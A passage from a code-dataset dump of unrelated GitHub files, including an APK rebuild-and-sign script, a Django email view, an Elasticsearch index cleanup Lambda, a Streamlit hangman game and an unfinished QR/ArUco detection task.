\"./apktool2-bin/apktool\"\nPATH_DEX = \"./dex2jar-bin/d2j-dex2jar.sh\"\nPATH_JAVA = \"java\"\n\n\nif __name__ == '__main__' :\n\n if len(sys.argv) < 2 :\n print (\"Usage : $python compile.py workspace/-decompiled/ \\n\")\n exit(0)\n\n\n dirpath = sys.argv[1]\n\n if not os.path.exists(dirpath) :\n print (\"Eror : %s is not exist\" % dirpath)\n exit(0)\n\n print (\"[1] Start compiling ... \")\n subprocess.call( [PATH_APKTOOL, 'b', '-f', dirpath ] )\n\n appname = dirpath[dirpath.find('/') +1 : dirpath.find(\"-decompiled\") ]\n\n\n print (\"[2] Start signing ... \")\n\n apkpath = dirpath + \"/dist/\" + appname\n apksigned = apkpath + \"-signed.apk\"\n deploypath = \"deploy/\" + appname + \"-signed.apk\"\n subprocess.call([PATH_JAVA, '-jar', 'bin/signapk.jar', 'bin/testkey.x509.pem', 'bin/testkey.pk8', apkpath, apksigned ])\n subprocess.call([\"cp\", apksigned, deploypath ])\n\n print (\"[3] Moved result to ./deploy \")\n\n subprocess.call([\"ls\", \"-al\", deploypath ])\n\n print (\"[3] Done.\")\n\n print (\"[4] Install (via ADB)? \")\n\n yesno = input(\"(y/n) : \")\n if yesno == 'y':\n subprocess.call([\"adb\", \"install\", \"-r\", deploypath])\n elif yesno == 'n':\n exit(0)\n else :\n exit(0)\n\n\n","repo_name":"truefinder/apk-decompile","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"10543259433","text":"from django.shortcuts import render\nfrom compras.models import Pedido,DetallePedido,Catalogo\nfrom django.template.loader import get_template\nfrom django.shortcuts import get_object_or_404\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.contrib import messages\nfrom django.conf import settings\nfrom django.shortcuts import redirect\nfrom productos.models import Variant\nfrom tienda.models import Tienda\nfrom ventas.venta import Venta\n# Create your views here.\ndef send_email(pedido_id):\n pedido = get_object_or_404(Pedido,id=pedido_id)\n proveedor = pedido.catalogo.proveedor.nombre\n correo = pedido.catalogo.proveedor.email\n detalle = DetallePedido.objects.all().filter(pedido=pedido_id)\n tienda = get_object_or_404(Tienda,id=1)\n context = {\n 'proveedor':proveedor,\n 'detalle':detalle,\n 'pedido':pedido,\n 'tienda':tienda\n }\n template = get_template('correo/correo.html')\n content = template.render(context)\n email = EmailMultiAlternatives(\n 'Orden de pedido Janma Store',\n 'Hola hemos realizado el pedido de los artículos que se detallan',\n settings.EMAIL_HOST_USER,\n [correo]\n )\n email.attach_alternative(content,'text/html')\n email.send()\n \n\ndef correo(request,pedido_id):\n template_name = 'compras/pedido/send_mail.html'\n pedido = get_object_or_404(Pedido,id=pedido_id)\n detalle = DetallePedido.objects.all().filter(pedido=pedido)\n variants = Variant.objects.all().filter(stock__lte=3)\n tienda = get_object_or_404(Tienda,id=1)\n venta = Venta(request)\n if request.method == \"GET\":\n \n proveedor = pedido.catalogo.proveedor.nombre\n correo = pedido.catalogo.proveedor.email\n \n\n if request.method == \"POST\":\n pedido_id = pedido.id\n send_email(pedido_id)\n messages.success(request,\"Correo enviado exitosamente\")\n return redirect('compras:listado_pedidos')\n \n return render(request,template_name,{\n 'pedido':pedido,\n 'proveedor':proveedor,\n 'correo':correo,\n 'detalle':detalle,\n 'variants':variants,\n 'tienda':tienda,\n 'venta':venta\n })","repo_name":"jordanaescalona/tp_final_utn_frtdf","sub_path":"janma/correo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41112537674","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPrivate helper functions\n\"\"\"\n\n\ndef grep(lines, substr):\n \"\"\" Return a list of strings from `lines` that have\n `substr` as a substring.\n \"\"\"\n return [l for l in lines if substr in l]\n\n\ndef check_equal(lst):\n \"\"\" Return True if all items in `lst` are equal, False otherwise.\n Note that check_equal([1, True]) is True.\n \"\"\"\n return not lst or lst.count(lst[0]) == len(lst)\n\n\ndef flatten_list(list_of_lists):\n \"\"\" Will convert a list of lists in a list with the items inside each sub-list.\n\n Parameters\n ----------\n list_of_lists: list[list[object]]\n\n Returns\n -------\n list\n \"\"\"\n if not list_of_lists:\n return []\n\n if isinstance(list_of_lists[0], list):\n lst = []\n for l in list_of_lists:\n lst.extend(l)\n return lst\n return list_of_lists\n\n\ndef format_pair_list(pair_list, **kwargs):\n \"\"\" Given a list of 2-tuples of str, calls format with `kwargs` for each\n item in the 2-tuples and return the formatted list of 2-tuples.\n\n Parameters\n ----------\n pair_list: list of 2-tuples of str\n\n kwargs: keyword arguments\n Arguments for the format function of each string in the 2-tuples.\n\n Returns\n -------\n formatted_pair_list: list of 2-tuples of str\n \"\"\"\n return [(s[0].format(**kwargs), s[1].format(**kwargs)) for s in pair_list]\n\n\ndef concat_to_pair_list(pair_list, prefix='', suffix=''):\n \"\"\" Add prefix and suffix to the strings in a a list of 2-tuple str.\n\n Parameters\n ----------\n pair_list: list of 2-tuples of str\n\n prefix: str\n\n suffix: str\n\n Returns\n -------\n formatted_pair_list: list of 2-tuples of str\n \"\"\"\n return [(prefix + s[0] + suffix, prefix + s[1] + suffix) for s in pair_list]\n\n\ndef _check_list(str_or_list):\n \"\"\" If `str_or_list` is a list will return it as it is. If it is a str, will return a\n list with the str inside.\n\n Parameters\n ----------\n str_or_list: str or list\n\n Returns\n -------\n list\n \"\"\"\n if str_or_list is None:\n return None\n\n if isinstance(str_or_list, list):\n return str_or_list\n\n if isinstance(str_or_list, str):\n return [str_or_list]\n\n raise ValueError('Expected a `str` or a `list`, ' \\\n 'got {}.'.format(type(str_or_list)))\n\n\ndef get_values_map_keys(records, keyidx=0):\n \"\"\" Given a dict of str->2-tuples, e.g.:\n {'anat': [('modality', 'anat'), ('image_file', 'anat_hc.nii.gz')],\n 'pet': [('modality', 'pet'), ('image_file', 'pet_fdg.nii.gz')],\n\n or\n\n Given a list of list of 2-tuples of str, e.g.:\n [[('modality', 'anat'), ('image_file', 'anat_hc.nii.gz')],\n ('modality', 'pet'), ('image_file', 'pet_fdg.nii.gz')],\n\n\n Will return the unique values of each record value, in this case:\n {'modality', 'image_file'}.\n\n Parameters\n ----------\n values_maps_dict: Dict[str->2-tuple]\n\n Returns\n -------\n keys: set[str]\n \"\"\"\n if not records or records is None:\n return []\n\n if isinstance(records, dict):\n itemset = records.values()\n elif isinstance(records, list):\n itemset = records\n else:\n raise NotImplementedError('Expected a `dict` or a `list of list` as `records, '\n 'got {}.'.format(type(records)))\n\n crumb_args = set()\n for items in itemset:\n crumb_args = crumb_args.union(set([t[keyidx] for t in items]))\n\n return crumb_args\n","repo_name":"Neurita/pypes","sub_path":"neuro_pypes/_utils.py","file_name":"_utils.py","file_ext":"py","file_size_in_byte":3519,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"} +{"seq_id":"39491893493","text":"from FQ import FQ\nfrom FQK import FQK\n\nfrom QPoly import QPoly\nfrom PowerTerm import PowerTerm\n\nclass FQKEllipticCurve(object):\n\n\t# we keep Elliptic Curve in Weierstrass form yy = xxx + ax + b\n\tdef __init__(self, a, b, q, d):\n\t\tself.str = 'x^3 + {}x + {} in F_{}'.format(a % q, b % q, q**d)\n\t\tFq = FQ(q)\n\t\tFqd = FQK(q, d)\n\t\tself.q = q\n\t\tself.d = d\n\t\tself.Fq = Fq\n\t\tself.Fqd = Fqd\n\t\tself.a = Fqd.convert(QPoly([a % q], Fq))\n\t\tself.b = Fqd.convert(QPoly([b % q], Fq))\n\t\tself.two = self.Fqd.convert(QPoly([2], self.Fq))\n\t\tself.three = self.Fqd.convert(QPoly([3], self.Fq))\n\n\tdef calc_x(self, x):\n\t\treturn x * x * x + self.a * x + self.b\n\n\tdef calc_der_x(self, x):\n\t\treturn self.three * x * x + self.a\n\n\tdef belongs(self, point):\n\t\tif point == \"inf\":\n\t\t\treturn True\n\t\tx, y = point\n\t\treturn y * y == self.calc_x(x)\n\n\t# add two points on Elliptic Curve\n\tdef add(self, el_1, el_2):\n\t\tif el_1 == \"inf\":\n\t\t\treturn el_2\n\t\tif el_2 == \"inf\":\n\t\t\treturn el_1\n\n\t\tx1, y1 = el_1\n\t\tx2, y2 = el_2\n\t\tif x1 == x2 and (y1 + y2).isZero():\n\t\t\treturn \"inf\"\n\n\t\tif x1 != x2:\n\t\t\tm = (y2 - y1) / (x2 - x1)\n\t\tif x1 == x2:\n\t\t\tm = self.calc_der_x(x1) / (self.two * y1)\n\n\t\tdelta = m * m\n\t\tx = delta.copy()\n\t\tx = x - (x1 + x2)\n\n\t\ty = -y1 + m * (x1 - x)\n\n\t\treturn (x, y)\n\n\tdef __str__(self):\n\t \treturn self.str\n\n\t# generate points belonging to Elliptic Curve.\n\t# by convention, \"inf\" is the point of infinity\n\tdef gen_elements(self):\n\t\telements = [\"inf\"]\n\t\tx_values = [PowerTerm(t, self.Fqd) for t in range(self.q ** self.d - 1)]\n\t\tx_values.append(PowerTerm(None, self.Fqd))\n\t\tfor x in x_values:\n\t\t\t# value xxx + ax + b\n\t\t\tval = self.calc_x(x)\n\t\t\t# if value = zero\n\t\t\tif val.power is None:\n\t\t\t\ty = PowerTerm(None, self.Fqd)\n\t\t\t\telements.append((x, y))\n\t\t\t\tcontinue\n\t\t\t# if value is perfect square, y = +-sqrt(value)\n\t\t\tif val.power % 2 == 0:\n\t\t\t\ty = PowerTerm(val.power // 2, self.Fqd)\n\t\t\t\telements.append((x, y))\n\t\t\t\telements.append((x, -y))\n\t\treturn elements\n\n\n\n\n","repo_name":"AliakseiSemchankau/elliptic-curves","sub_path":"FQKEllipticCurve.py","file_name":"FQKEllipticCurve.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15411847357","text":"import grpc\nimport traceback\n\n\n# from util import send_slack\n# from utils.zc_exception import ZCException\n\n\nclass ErrorManager(object):\n\n def __init__(self, context):\n self.logger = context.logger\n self.request_attributes = [\n 'user_id', 'tenant', 'asset_id', 'address', 'tag', 'customer_ref_id',\n 'limit', 'page', 'term', 'yield_id', 'type', 'side', 'amount', 'vault_id',\n 'external_wallet_id', 'values']\n\n def grpc_exception_handling(self, context, name, e, request):\n value_dic = self.parse_request(request)\n self.logger.exception(f\"{name} failed e={repr(e.__str__())} values={value_dic}\")\n\n def parse_request(self, request):\n value_dic = {}\n for i in self.request_attributes:\n if hasattr(request, i):\n value_dic[i] = getattr(request, i)\n\n return value_dic\n","repo_name":"yutu-75/eranthis_api","sub_path":"utils/error_manager.py","file_name":"error_manager.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"45573109126","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 26 12:44:59 2019\n\n@author: singh\n\"\"\"\n\nimport sys\nimport urllib.request as urllib2\nimport requests\nimport pandas as pd\nimport time\n\n\n\n\ndef get_redirect_url(row):\n try: \n r = requests.get(row[\"URL\"])\n return r.url\n except:\n print(\"{} occured at {} {}\".format(sys.exc_info()[0],row[\"Date\"],row[\"Id\"]))\n \nstart_time = time.time()\nfor i in range(6,14):\n path_to_csv = '/home/g_singh/test/sample{}.csv'.format(i)\n bp_links_df = pd.read_csv(path_to_csv)\n \n bp_links_df['new_url'] = bp_links_df.apply(get_redirect_url,axis=1)\n bp_links_df.to_csv(\"/home/g_singh/test/sample{}_new.csv\".format(i),index = False)\n\nprint(\"--- {} seconds ---\".format(round(time.time() - start_time,2)))\n\n\n\"\"\"\nr = requests.get(\"http://wayback.archive.org/web/20050701074015/http://www.honeywell.com:80/\")\nprint(r.url)\n\"\"\"","repo_name":"Gagan02singh/Summer-internship","sub_path":"Cloud backup/url_status_code.py","file_name":"url_status_code.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70929204581","text":"# this program will find try to find out how often a streak of six heads or six tails will come up\n# from a coin flip\nimport random\nnumOfStreaks = 0\ntries = 0\nexperimentNumber = 0\nfor experimentNumber in range(10000):\n coin = [] # empty list\n # code that creates a list of 100 heads or tails values\n for i in range(100):\n if random.randint(0, 1) == 0:\n coin.append('H')\n else:\n coin.append('T')\n\n #code that checks if there is a steak of 6 heads or tails.\n for i in range(len(coin)):\n count = 0\n for x in range(6):\n try:\n if coin[i] == coin[i + x]:\n count += 1\n else:\n break\n except IndexError:\n break\n if count == 6:\n numOfStreaks += 1\n tries += 1\nprint('Chance of streak: %s%%' % (numOfStreaks / 100))","repo_name":"Dan-Blanchette/python-projects","sub_path":"automateTBS/ch-4-Lists/coinFlip.py","file_name":"coinFlip.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42247176982","text":"import os\nimport datetime\nimport hashlib\nimport hmac\nimport urllib2\nimport json\n\nENDPOINTS_ACCOUNTS = {\n 'account-1': 'elastic-search-endpoint',\n 'account-2': 'elastic-search-endpoint',\n}\n\nTHRESHOLD_ACCOUNTS = {\n 'account-1': 20,\n 'account-2': 60\n}\n\n\ndef sign(key, msg):\n return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()\n\n\ndef getSignatureKey(key, dateStamp, regionName, serviceName):\n kDate = sign(('AWS4' + key).encode('utf-8'), dateStamp)\n kRegion = sign(kDate, regionName)\n kService = sign(kRegion, serviceName)\n kSigning = sign(kService, 'aws4_request')\n return kSigning\n\n\ndef get_signature(endpoint, method, canonical_uri):\n region = 'eu-west-1'\n service = 'es'\n access_key = os.environ.get('AWS_ACCESS_KEY_ID')\n secret_key = os.environ.get('AWS_SECRET_ACCESS_KEY')\n session_key = os.environ.get('AWS_SESSION_TOKEN')\n t = datetime.datetime.utcnow()\n amzdate = t.strftime('%Y%m%dT%H%M%SZ')\n datestamp = t.strftime('%Y%m%d')\n canonical_querystring = ''\n canonical_headers = 'host:' + endpoint + '\\nx-amz-date:' + amzdate + '\\nx-amz-security-token:' + session_key + \"\\n\"\n signed_headers = 'host;x-amz-date;x-amz-security-token'\n payload_hash = hashlib.sha256('').hexdigest()\n canonical_request = method + '\\n' + canonical_uri + '\\n' + canonical_querystring + '\\n' + canonical_headers + '\\n' + signed_headers + '\\n' + payload_hash\n algorithm = 'AWS4-HMAC-SHA256'\n credential_scope = datestamp + '/' + region + '/' + service + '/' + 'aws4_request'\n string_to_sign = algorithm + '\\n' + amzdate + '\\n' + credential_scope + '\\n' + hashlib.sha256(\n canonical_request).hexdigest()\n signing_key = getSignatureKey(secret_key, datestamp, region, service)\n signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest()\n authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature\n headers = {'x-amz-date': amzdate, 'x-amz-security-token': session_key, 'Authorization': authorization_header}\n request_url = 'https://' + endpoint + canonical_uri + '?' + canonical_querystring\n\n return {'url': request_url, 'headers': headers}\n\n\ndef lambda_handler(event, context):\n INDEXPREFIX = 'cwl-'\n\n if 'account' in event:\n if event['account'] not in ENDPOINTS_ACCOUNTS.keys():\n raise Exception(\"No endpoint configured for account \" + str(event['account']))\n ENDPOINT = ENDPOINTS_ACCOUNTS[event['account']]\n TOLEAVE = THRESHOLD_ACCOUNTS[event['account']]\n else:\n raise Exception(\"No account specified in event\")\n\n response = json.loads(get_index_list(ENDPOINT))\n indexes = []\n for index in response:\n if index.startswith(INDEXPREFIX):\n indexes.append(index)\n\n indexes.sort(reverse=True)\n to_remove = indexes[TOLEAVE:]\n for index in to_remove:\n print(\"Removing \" + index)\n delete_index(ENDPOINT, index)\n\n\ndef delete_index(endpoint, index):\n info = get_signature(endpoint, 'DELETE', '/' + index)\n\n opener = urllib2.build_opener(urllib2.HTTPHandler)\n request = urllib2.Request(info['url'], headers=info['headers'])\n request.get_method = lambda: 'DELETE'\n\n r = opener.open(request)\n if r.getcode() != 200:\n raise Exception(\"Non 200 response when calling, got: \" + str(r.getcode()))\n\n\ndef get_index_list(endpoint):\n info = get_signature(endpoint, 'GET', '/_aliases')\n\n request = urllib2.Request(info['url'], headers=info['headers'])\n r = urllib2.urlopen(request)\n if r.getcode() != 200:\n raise Exception(\"Non 200 response when calling, got: \" + str(r.getcode()))\n\n return r.read()\n\n\nif __name__ == '__main__':\n lambda_handler({'account': 'account-1'}, None)\n","repo_name":"pbudzon/aws-maintenance","sub_path":"clean-es-indices.py","file_name":"clean-es-indices.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"35"} +{"seq_id":"74709476580","text":"from string import ascii_lowercase\nimport types\nimport random\n\nimport streamlit as st\n\nfrom support import persistent_game_state\nfrom support import GameState\nfrom support import get_words\nfrom support import push_state\nfrom support import display\nfrom PIL import Image\n\n\n# Define a function that gets all images in a list and returns the list.\n\ndef get_image():\n image = [Image.open(\"image0.jpg\")]\n image.append(Image.open(\"image1.jpg\"))\n image.append(Image.open(\"image2.jpg\"))\n image.append(Image.open(\"image3.jpg\"))\n image.append(Image.open(\"image4.jpg\"))\n image.append(Image.open(\"image5.jpg\"))\n image.append(Image.open(\"image6.jpg\"))\n image.append(Image.open(\"image7.jpg\"))\n number = len(image)\n return image,number\n\t\n#Call 'get_image'\n\nimage,no_of_images = get_image()\n\n#Call the 'get_words' function to get a list of words. Use 'random.choice' to choose a random word from the list.\n\ninitial_word = random.choice(get_words())\n\n#Declare a 'Gamestate' as imported from the support file. Initialise the game number to 0 and word to be guessed as 'initial_word'.\n#Other parameters of the gamestate have been passed an initial value beforehand.\n\ninitial_gamestate = GameState(0,initial_word)\n\n#We will be using 'persistent_game_state' function from support file to save and modify game states during execution of the game.\n#Call the function and pass initial_state as 'initial_gamestate'\n\nstate = persistent_game_state(initial_state=initial_gamestate) \n\n#Passing class instance variables to placeholders for convenience \nguessed = state.guessed\nwrong_guesses = state.step\ngame_number = state.game_number\nword = state.word\ngame_over = state.game_over\n#Declare a new game button, and re-initialise the current 'state' so that a fresh game can be sarted when the button is pressed.\n#Assign an empty string '' to the 'guessed' parameter\n#Assign wrong guesses = 0 to 'wrong_guesses' parameter\n#Update the game number by incrementing it by one\n#Generate a new randomly chosen word by executing 'random.choice' on the 'get_words' function\n#Update the 'game_over' parameter to 'False'\n\nif st.button(\"new game\"):\n guessed = ''\n wrong_guesses = 0\n game_number += 1\n word = random.choice(get_words())\n game_over = False\n\t\n\t#Push the state by calling the following function\n push_state(state,guessed,wrong_guesses,game_number,word,game_over)\n\n#Start game execution logic now. First check for the 'game_over' parameter to be False\nif not game_over:\n\n\t#Declare a user input bar. Have \"guess a letter\" displayed as the label for the input bar. Accept only 1 character maximum\n\t#Since every new game needs a new key for the input bar, assign key to 'game_number'\n\t\n guess = st.text_input(\"guess a letter\", max_chars = 1, key=game_number)\n\t\n\t#Check if the input was empty, if 'guess' is False, have 'please guess' displayed \n\t\n if not guess:\n display(False,\"please guess\")\n\t\t\n\t#Otherwise, check if the input was in lowercase. If input is < 'a' or > 'z' display 'please enter lowercase letter'\n\t\n elif guess.lower() < 'a' or guess.lower() > 'z':\n\t display(False,\"please enter lowercase letter\")\n\t\t\n\t#Otherwise, check if the letter has been already guessed. Display f\"you already guessed {guess}\" if a guess is repeated.\n\t\n elif guess.lower() in guessed.lower():\n\t display(False,f\"you already guessed {guess}\")\n\t\t\n\t#Otherwise, check if the letter is present in the word being guessed. If not display f\"the word has no {guess}\".\n\t#If the letter is not in the word, add the letter to the 'guessed' string and increment the wrong guesses.\n elif guess not in word:\n display(False,f\"the word has no {guess}\")\n guessed+=guess\n wrong_guesses+=1\n\n #Push the state \n push_state(state, guessed,wrong_guesses,game_number,word,game_over)\n\t\t\n\t#Otherwise if the letter is present in the word, have 'good guess' displayed.\n\t#Add the letter to the 'guessed' string.\n #Push the state\n\t\n else: \n display(False,\"good guess\")\n guessed+=guess\n letters_guessed= letters_guessed + guess\n push_state(state, guessed,wrong_guesses,game_number,word,game_over)\n\n#We will now build a list which has the information about how many of the letters have been guessed\n# Hint : list.append(a) adds the element a at the end of the list\n\n letters_guessed = []\n for c in word:\n # check if the letter in word is present in the 'guessed' string\n if c in guessed:\n # If it is present append 'True' to the list\n letters_guessed.append(True)\n else:\n # If not append 'False' to the list\n letters_guessed.append(False)\n\n\n\n\n\n#Check if the wrong guesses are equal to 'no_of_images' in image list - 1 (minus one because we started step with 0)\n\nif wrong_guesses == no_of_images - 1:\n\n\t#If the maximum guesses are exhausted, display f\"you lose, the word was {state.word}\"\n\n display(False,f\"you lose, the word was {state.word}\")\n\n\t#Update the 'game_over' parameter to True and push state\n\n game_over=True\n push_state(state, guessed,wrong_guesses,game_number,word,game_over)\n#If not check if the word has been completely guessed. Use 'all()' functionality of python on the 'letters_guessed' list\n\nelif all(letters_guessed):\n\t\n\t#Print f\"YOU WIN\"\n display(False,f\"YOU WIN\")\n\n\t#Update 'game_over' to true and push state\n\n game_over=True\n push_state(state, guessed,wrong_guesses,game_number,word,game_over)\n\n\n\n\n\n\n\n\n\n\n\n# In the intermediate stage when the game is still on, we need to display image according to current wrong number of guesses display 'image[wrong_guesses]'\n# Pass the image list and current wrong guesses to the display function\n\ndisplay(True,'',image,wrong_guesses)\n\n# Finally, make a list from the word where guessed characters are displayed as it is and dashes are displayed otherwise.\n\nchars = [c if c in guessed else \"_\" for c in word]\n\n#Display the list after converting it to a string using join functionality\n\ndisplay(False,\" \".join(chars))\n\n# Show the guessed letters, again after converting it to a string by using join\n\ndisplay(False,f'guessed: {\"\".join(guessed)}')\n","repo_name":"etherealsunshine/Hangman-Game","sub_path":"hangmen-ques.py","file_name":"hangmen-ques.py","file_ext":"py","file_size_in_byte":6157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20930296195","text":"## test_handlers.py\n## DELETE THIS CRAP EVENTUALLY, ONLY FOR TEMP TESTINGS!\n\nfrom google.appengine.ext import ndb\n\nfrom models import Armor\nfrom models import Equipment\nfrom models import HarvestingCamp\nfrom models import MetalProperties\nfrom models import LeatherProperties\nfrom models import PlayerStructure\nfrom models import Resource\nfrom models import ResourceTemplate\nfrom models import Weapon\nfrom models import WoodProperties\n\ndef testGivePlayerResource(player_key_string):\n player = ndb.Key(urlsafe=player_key_string).get()\n player.resources.append(Resource(\n resource_template = ResourceTemplate(\n resource_type = 2,\n leather_properties = LeatherProperties(\n durability = 200,\n flexibility = 400,\n smoothness = 600,\n ),\n name = 'testLeather'\n ).put(),\n quantity = 150\n ).put())\n player.put()\n\ndef testGivePlayerEquipment(player_key_string):\n player = ndb.Key(urlsafe=player_key_string).get()\n player.equipment.append(Equipment(\n equipment_type = 1,\n armor_data = Armor(\n armor_type = 0,\n damage_reduction = 0.6,\n durability = 400),\n ).put())\n player.equipment.append(Equipment(\n equipment_type = 0,\n weapon_data = Weapon(\n weapon_type = 0,\n power = 20,\n reliability = 0.995),\n ).put())\n player.put()\n\ndef testPutCampOnSpot(\n player_key_string,\n map_tile_key_string,\n tile_resource_key_string):\n player_key = ndb.Key(urlsafe=player_key_string)\n map_tile_key = ndb.Key(urlsafe=map_tile_key_string)\n tile_resource_key = ndb.Key(urlsafe=tile_resource_key_string)\n strucutre_key = PlayerStructure(\n structure_type = 0,\n owner_key = player_key,\n harvesting_camp_data = HarvestingCamp(\n tile_resource_key = tile_resource_key\n ),\n health = 100,\n location = map_tile_key\n ).put()\n","repo_name":"dreamlane/macrobattles","sub_path":"MacroBattlesServer/test_handlers.py","file_name":"test_handlers.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"10139323651","text":"\"\"\"Async implementation of event dispatcher\n\nThis module provide async implementation for BaseEventDispatcher.\nImplementation based on standard asyncio library.\nAll callbacks are executes concurrently with `asyncio.gather`.\nIt means callbacks sequential execution don't guaranteed.\n\nTypical usage example:\n\n dispatcher = AsyncEventDispatcher()\n dispatcher.subscribe(\"event.name\", async_callback)\n await dispatcher.dispatch(\"event.name\", {\"event\": \"data\"})\n\"\"\"\n\nimport asyncio\nfrom typing import Optional\n\nfrom event_dispatcher import _dispatcher, types\n\n\nclass AsyncEventDispatcher(_dispatcher.BaseEventDispatcher[types.AsyncCallback]):\n async def dispatch(\n self, event_name: str, data: Optional[types.EventData] = None\n ) -> bool:\n subscribers = self._subscribers[event_name]\n\n if not subscribers:\n return False\n\n await asyncio.gather(*[callback(data) for callback in subscribers])\n\n return True\n","repo_name":"trabem/event-dispatcher","sub_path":"event_dispatcher/async_dispatcher.py","file_name":"async_dispatcher.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"15762106907","text":"from collections.abc import Iterable\n\ndef flatten(items, ignore_types=(str, bytes)):\n for x in items:\n if isinstance(x, Iterable) and not isinstance(x, ignore_types):\n yield from flatten(x)\n \"\"\"\n yield from flattern(x) same like following code.\n for i in flatten(x):\n yield i\n \"\"\"\n else:\n yield x\n\nitems = [1, 2, [3, 4, [5, 6], 7], 8]\nfor x in flatten(items):\n print(x)","repo_name":"QAlexBall/Python_Module","sub_path":"cookbook/iterator_and_genrator/flatten_embedded_sequence.py","file_name":"flatten_embedded_sequence.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35611296804","text":"N = int(input())\r\n\r\ncount = 0\r\n\r\nfor i in range(1, N+1, 2):\r\n yakusuu = 0\r\n for j in range(1, i+1, 2):\r\n if i % j == 0:\r\n yakusuu += 1\r\n if yakusuu == 8:\r\n count += 1\r\n\r\nprint(count)","repo_name":"pn11/benkyokai","sub_path":"competitive/AtCoder/ABC106/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23120443084","text":"'''\r\n*****************************************************************************************\r\n*\r\n* \t\t===============================================\r\n* \t\tPharma Bot (PB) Theme (eYRC 2022-23)\r\n* \t\t===============================================\r\n*\r\n* This script is to implement Task 1B of Pharma Bot (PB) Theme (eYRC 2022-23).\r\n* \r\n* This software is made available on an \"AS IS WHERE IS BASIS\".\r\n* Licensee/end user indemnifies and will keep e-Yantra indemnified from\r\n* any and all claim(s) that emanate from the use of the Software or \r\n* breach of the terms of this agreement.\r\n*\r\n*****************************************************************************************\r\n'''\r\n\r\n# Team ID:\t\t\t[ PB_1118]\r\n# Author List:\t\t[ Names of team members worked on this file separated by Comma: Name1, Name2, ... ]\r\n# Filename:\t\t\ttask_1b.py\r\n# Functions:\t\tdetect_Qr_details, detect_ArUco_details\r\n# \t\t\t\t\t[ Comma separated list of functions in this file ]\r\n\r\n\r\n####################### IMPORT MODULES #######################\r\n## You are not allowed to make any changes in this section. ##\r\n## You have to implement this task with the five available ##\r\n## modules for this task ##\r\n##############################################################\r\n\r\nimport numpy as np\r\nimport cv2\r\nfrom cv2 import aruco\r\nimport math\r\nfrom pyzbar import pyzbar\r\n##############################################################\r\n\r\n################# ADD UTILITY FUNCTIONS HERE #################\r\n\r\n\r\n##############################################################\r\n\r\ndef detect_Qr_details(image):\r\n \"\"\"\r\n Purpose:\r\n ---\r\n This function takes the image as an argument and returns a dictionary such\r\n that the message encrypted in the Qr code is the key and the center\r\n co-ordinates of the Qr code is the value, for each item in the dictionary\r\n\r\n Input Arguments:\r\n ---\r\n `image` :\t[ numpy array ]\r\n numpy array of image returned by cv2 library\r\n Returns:\r\n ---\r\n `Qr_codes_details` : { dictionary }\r\n dictionary containing the details regarding the Qr code\r\n\r\n Example call:\r\n ---\r\n Qr_codes_details = detect_Qr_details(image)\r\n \"\"\"\r\n Qr_codes_details = {}\r\n\r\n ##############\tADD YOUR CODE HERE\t##############\r\n Qr_codes_details = {}\r\n Qr_codes = pyzbar.decode(img)\r\n for Qr_code in Qr_codes:\r\n (x, y, w, h) = Qr_code.rect\r\n # cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2)\r\n center_x = math.floor(math.floor(x) + math.floor(w) / 2)\r\n center_y = math.floor(math.floor(y) + math.floor(h) / 2)\r\n Qr_codes_details[Qr_code.data.decode('utf-8')] = [center_x, center_y]\r\n\r\n ##################################################\r\n\r\n return Qr_codes_details\r\n\r\n\r\ndef detect_ArUco_details(image):\r\n \"\"\"\r\n Purpose:\r\n ---\r\n This function takes the image as an argument and returns a dictionary such\r\n that the id of the ArUco marker is the key and a list of details of the marker\r\n is the value for each item in the dictionary. The list of details include the following\r\n parameters as the items in the given order\r\n [center co-ordinates, angle from the vertical, list of corner co-ordinates] \r\n This order should be strictly maintained in the output\r\n\r\n Input Arguments:\r\n ---\r\n `image` :\t[ numpy array ]\r\n numpy array of image returned by cv2 library\r\n Returns:\r\n ---\r\n `ArUco_details_dict` : { dictionary }\r\n dictionary containing the details regarding the ArUco marker\r\n\r\n Example call:\r\n ---\r\n ArUco_details_dict = detect_ArUco_details(image)\r\n \"\"\"\r\n ArUco_details_dict = {} # should be sorted in ascending order of ids\r\n ArUco_corners = {}\r\n\r\n ##############\tADD YOUR CODE HERE\t##############\r\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n 